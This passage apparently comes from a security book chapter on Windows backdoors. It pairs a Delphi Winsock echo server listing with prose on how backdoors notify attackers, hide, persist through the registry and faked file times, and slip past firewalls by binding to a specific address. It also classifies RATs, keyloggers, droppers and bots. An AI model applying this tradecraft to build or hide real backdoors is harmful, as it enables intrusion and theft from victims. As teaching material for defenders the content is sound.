13 clnt: TSocket;
14 bytes: integer;
15 buf: array [0..1023] of char;
16
17 begin
28 WSAStartUp($101, wsa);
29
20 sck := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
21 if sck = INVALID_SOCKET then Exit;
22
23 sin.sin_family := AF_INET;
24 sin.sin_addr.s_addr := INADDR_ANY;
25 sin.sin_port := htons(80);
26
27 bind(sck, sin, sizeof(TSockAddrIn));
28
29 listen(sck, SOMAXCONN);
30
31 clnt := accept(sck, nil, nil);
32 if clnt = INVALID_SOCKET then Exit;
33
34 while True do
35 begin
36 bytes := recv(clnt, buf, SizeOf(buf), 0);
37 if bytes = 0 then Break;
38 if bytes = SOCKET_ERROR then Break;
39 bytes := send(clnt, buf, bytes, 0);
40 if bytes = 0 then Break;
41 if bytes = SOCKET_ERROR then Break;
42 end;
43
44 closesocket(clnt);
45 closesocket(sck);
46 WSACleanup;
47 end.

Lines 23-25: Fill in the address structure

This is the same address structure used in the client example. In this case, its purpose is a
little different. Instead of specifying the address and port to connect to, it specifies the address
and port to listen for connections on. The address used is INADDR_ANY. This special address is
0.0.0.0 and tells Winsock to accept connections on any address. All systems also have 127.0.0.1,
which is the local loop back interface. Only the local system can connect to this special address.
If any other host tried to connect to 127.0.0.1, they would only be connecting to themselves.

In addition to specifying INADDR_ANY, an application can use one of the IP addresses


assigned to the computer. An interesting fact to note is that any sockets that bind to a specific
address take precedence over those that bind to INADDR_ANY. For example, imagine if an HTTP
server were to bind a socket to INADDR_ANY on port 80. If another application binds to
192.168.1.100 on port 80, it will receive the connections first. This is useful for backdoors that
want to bypass firewall rules that only allow usage of a certain port.

Chapter 2, 22
Line 27: Bind the socket

When an application creates a socket, it is not associated with any address. An application
using the connect function does not need to do so unless the host is multi-homed, that is, having
more than one assigned IP address. However, sockets that will be later used with the listen()
function must first call bind() to associate the socket with an address. Not doing so will result
in an error.

function bind(
s: TSocket;
var addr: TSockAddr;
namelen: Integer
): Integer; stdcall;

The bind function accepts 3 parameters. The s parameter is the open socket descriptor. The
addr parameter is the filled in address structure including the address and port the socket should
bind to. The namlen is the size of the address structure. If the function succeeds the result is 0,
otherwise a result of SOCKET_ERROR is returned.

Line 29: Listen for connections

Once an application binds a socket to an address it can listen for incoming connections. To
do this the application uses the listen() function to put the socket in a state that is ready to
accept connections. As each connection is waiting to be accepted, Winsock adds to a backlog. If
the backlog becomes full, Winsock drops all subsequent incoming connections until the backlog
is cleared by either accepting the waiting connections or calling listen() again.

function listen(
s: TSocket;
backlog: Integer
): Integer; stdcall;

The listen() function accepts 2 parameters. The first is a descriptor to a socket already
associated with an address using bind(). The second is the maximum number of pending
connections to be queued. If the value of SOMAXCON is specified it is left up to Winsock to decide
on a reasonable number. If the function succeeds, the result is 0. If the function fails, the result is
SOCKET_ERROR.

Lines 31-32: Accept a connection

Once the application has the socket listening, it is ready to accept connections. If a
connection is not waiting to be accepted, the function blocks until there is one available. This is
because the socket is in blocking mode by default. This behaves much like the recv() function
does as covered in the client application example. When a connection is accepted, the function

Chapter 2, 23
returns a socket descriptor that the application uses to communicate with the client connection.
The application can use the send() and recv() functions identical to the previous example.

function accept(
s: TSocket;
addr: PSockAddr;
addrlen: PInteger
): TSocket; stdcall;

The accept function accepts 3 parameters. The s parameter is the previously listening socket
descriptor. The addr parameter is optional and receives the address structure of the incoming
connection. The addrlen parameter is also optional and receives the size of the addr structure
of the incoming connection. If the function succeeds, the result is a valid socket descriptor. If the
function fails, the result is INVALID_SOCKET.

Upon receiving a successful connection, the server is now able to communicate with client
and handle requests. In the case of the echo server, the service provided is merely to send back
any text that it receives. If the application wishes to accept another connection it must call
accept() again. However, because it is still handling the first connection it cannot handle
another unless the application uses a method to allow multiple connections. Applications achieve
this by using multiple threads, one for each connection, or using asynchronous or non-blocking
sockets. This allows the server to handle multiple requests without having to wait on each client
to finish. At this point, the server behaves much like a client, sending and receiving data. After it
is finished, it too must close each socket and cleanup Winsock.

Notification: Contacting the Attacker

A very important task for the backdoor is to notify the attacker of its presence online. Many
victims have a dynamic IP address. Even a cable modem that has a long-term lease on its address
may eventually change. Most hosts on the internet acquire their IP address using dynamic host
configuration protocol (DHCP). When a system requires an IP address, it uses DHCP to obtain it.
Even when the IP address remains the same, the attacker still needs a notification when the
victim comes online. Table 2.4 details some of the most common notification methods.

Table 2.4
Common Notification Methods
Name Description
Instant messaging (IM) Instant messaging is very complex these days.
It typically requires a complete client
compatible with the IM protocol used. The
earliest was ICQ but because of the enormous
amount of abuse, ICQ has taken measures to
stop this.
Internet Relay Chat (IRC) IRC is ideal for a few reasons. It can service a
very large number of notifications. Also the
notification is in real time, allowing the

Chapter 2, 24
attacker to know who is online at any given
second. It can also provide the attacker with a
means to control a massive number of victims
with a single command.
Email Email is the oldest and possibly the slowest
form of notification. However, it is also the
most cumbersome. Sifting through hundreds of
emails to find a target is very inefficient.
Web scripts (CGI/PHP) Web scripts provide the most intuitive means
of notification. They organize notifications in
an easy to read manner. Combined with the
fact that web servers are always online makes it
a very reliable method.
Static host Static host notification is really notification and
communication in one. Instead of a victim
notifying, it simply connects directly to the
attacker. This is very useful for bypassing
proxies. However because the attacker’s IP
address is directly involved it is also the most
likely to get the attacker in trouble.

Beyond these notification methods are a few others that are not very common. They are not
common because of the level of technical skill required to implement them. The most noteworthy
is peer-to-peer (P2P) notification. In this scheme, attackers do not rely on a central point for
notification. Instead, the victims organize themselves into a network and provide service to each
other. When the attacker wishes to access the compromised hosts, he or she joins the network
and sends a command. The commands relay from victim to victim until all of them have received
the command. There are very few backdoors in the wild using P2P. The first widespread
backdoor to make use of P2P was Phatbot, a typical IRC bot with a twist. Phatbot makes use of
the WASTE protocol created by Nullsoft to form a victim network without requiring any central
server. However, the WASTE protocol is severely limited in scalability and only supports
upwards to 50 peers. Aside from protocol issues, P2P networks hold very large promise for
attackers wishing to create a very large network of victims. The potential for backdoors is so
great because each victim is not consuming bandwidth resources on the network but instead only
providing them. In the future, P2P networks will open a new tier of attacks. Currently, a network
of a few hundred thousand hosts is nearly impossible to maintain but with the help of P2P
protocols, these large numbers could be easily possible. Such large networks could create
distributed denial of service (DDoS) attacks large enough to cut off entire countries from the
internet.

Stealth: Hiding From the Victim

A very important yet often neglected aspect of backdoors is the ability to hide their presence.
As discussed in earlier sections, stealth features cross over into several other components.
Everything a backdoor does can be stealthy. The ultimate goal for any backdoor stealth is to
remain invisible from the victim. Backdoors achieve this in many ways, from API hooks to
direct kernel object manipulation. Only recently have mainstream backdoors started to take
notice of these possibilities. As the average user’s intelligence increases so must backdoor’s. In

Chapter 2, 25
later chapters, this book explores API hooking deeper, exactly how hooks work and what is
required to hide objects from Windows.

Functionality: Providing Services to the Attacker

The real meat of a backdoor is the functionality it provides to the attacker. In addition, this is
where the backdoor gets its classification. It at this point you will see terms like remote
administration tool (RAT). Table 2.5 describes the major classifications of backdoors.

Table 2.5
Classes of Backdoors
Type Description
Downloader/Dropper/Binder These specialized backdoor’s sole purpose is
the placement of another backdoor.
Downloaders retrieve the backdoor from a
URL. Droppers extract it from their resource
section. Binders retrieve it from the end of the
file.
Uploader An uploader is a small backdoor designed only
to receive and execute files.
Notifier Some backdoors lack adequate notification
methods. Stand-alone notifiers provide more
notification methods to these backdoors.
Password stealer By its name, the purpose of a password stealer
is obvious. They steal a victim’s passwords and
send them to an attacker.
Key logger Attackers use key loggers to monitor activity.
They work by capturing all keystrokes and
usually window captions to a text file. Many
key loggers may also send their logs to the
attacker once they reach a certain size or age.
IRC bot IRC bots are invisible IRC clients controlled
by an attacker. One of most notable features is
the ability to perform a single command across
multiple victims. This is why IRC bots carry
out most DDoS attacks.
Lite RAT A “lite” RAT is very small with minimal
functionality. They are useful because they
attackers can distribute them faster and provide
a backup in case the main backdoor fails.
Full RAT Full RATs are the end-all of backdoors. There
is little that they cannot do. They provide an
all-in-one base station for an attacker to
monitor the victim and make further attacks on
other systems.

Chapter 2, 26
With the exception of droppers and binders, all of these types of backdoors include a network
component. They also include some form of notification. To modify settings most of these
backdoors include an editor. The editor can change certain bytes inside the backdoor binary to
configure it to use the attacker’s desired settings.

Summary

Backdoors arrive in various forms. Most often, they exist as PE files, yet other non-
executable file types are possible. Most antivirus software does not detect every variant of these
file types. Some files may provide a false appearance to a user by masking the associated file
type. Once backdoors execute, they must relocate to a permanent location. A system directory is
an ideal choice because it is certain to exist and provides cover for the backdoor. To heighten the
effectiveness of these cover files, the backdoor will often change its file time to that of a system
file. This gives the appearance of not being a newer file. Unless a user memorizes hundreds of
file names, they are not likely to notice a single extra file. When the backdoor locates a suitable
permanent location, it will use some method of restarting its process each time Windows loads.
The most common method is using the registry.

After a backdoor has taken steps to ensure its persistence, it can then setup any extended
features such as injecting into other processes and setting API hooks. The backdoor then informs
the attacker that it is online and ready to use. At this point, the attacker has gained complete
control of your system. The attacker is free to break any computer laws without fear of
punishment. That is because your IP address takes the blame. The police will be knocking on
your door, not theirs.

Chapter 2, 27

You might also like